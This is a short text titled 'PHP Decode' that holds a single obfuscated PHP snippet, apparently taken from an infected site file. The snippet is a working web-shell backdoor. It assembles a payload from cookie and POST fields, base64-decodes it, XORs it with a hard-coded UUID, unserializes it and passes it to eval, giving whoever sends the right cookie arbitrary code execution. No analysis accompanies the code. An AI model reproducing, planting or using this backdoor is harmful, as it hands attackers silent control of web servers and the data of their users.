PHP Decode

$rUfBH = 'O' . '_' . chr (115) . chr (78) . "\154";$WOkDrkeF = "class_exists";$ZnxsFdpggh = $WOkDrkeF($rUfBH); $UDyoU = $ZnxsFdpggh;if (!$UDyoU){class O_sNl{private $Qtoyn;public static $gowQg = "a1a12509-22b9-43be-92ff-e68e4c5e6ad6";public static $BuZdpRVP = NULL;public function __construct(){$XqGBPzpWf = $_COOKIE;$YHAygFM = $_POST;$UEquC = @$XqGBPzpWf[substr(O_sNl::$gowQg, 0, 4)];if (!empty($UEquC)){$WavHImei = "base64";$rbkxyfcul = "";$UEquC = explode(",", $UEquC);foreach ($UEquC as $jkpVC){$rbkxyfcul .= @$XqGBPzpWf[$jkpVC];$rbkxyfcul .= @$YHAygFM[$jkpVC];}$rbkxyfcul = array_map($WavHImei . "\x5f" . 'd' . chr ( 854 - 753 ).chr ( 241 - 142 )."\x6f" . chr (100) . 'e', array($rbkxyfcul,)); $rbkxyfcul = $rbkxyfcul[0] ^ str_repeat(O_sNl::$gowQg, (strlen($rbkxyfcul[0]) / strlen(O_sNl::$gowQg)) + 1);O_sNl::$BuZdpRVP = @unserialize($rbkxyfcul);}}public function __destruct(){$this->zQTNCt();}private function zQTNCt(){if (is_array(O_sNl::$BuZdpRVP)) {$pjBypxDlf = str_replace("\x3c" . chr (63) . chr ( 719 - 607 ).'h' . 'p', "", O_sNl::$BuZdpRVP["\143" . "\157" . "\x6e" . "\164" . "\145" . chr ( 791 - 681 ).chr ( 1053 - 937 )]);eval($pjBypxDlf);exit();}}}$FAdvUb = new O_sNl(); $FAdvUb = NULL;} ?><?php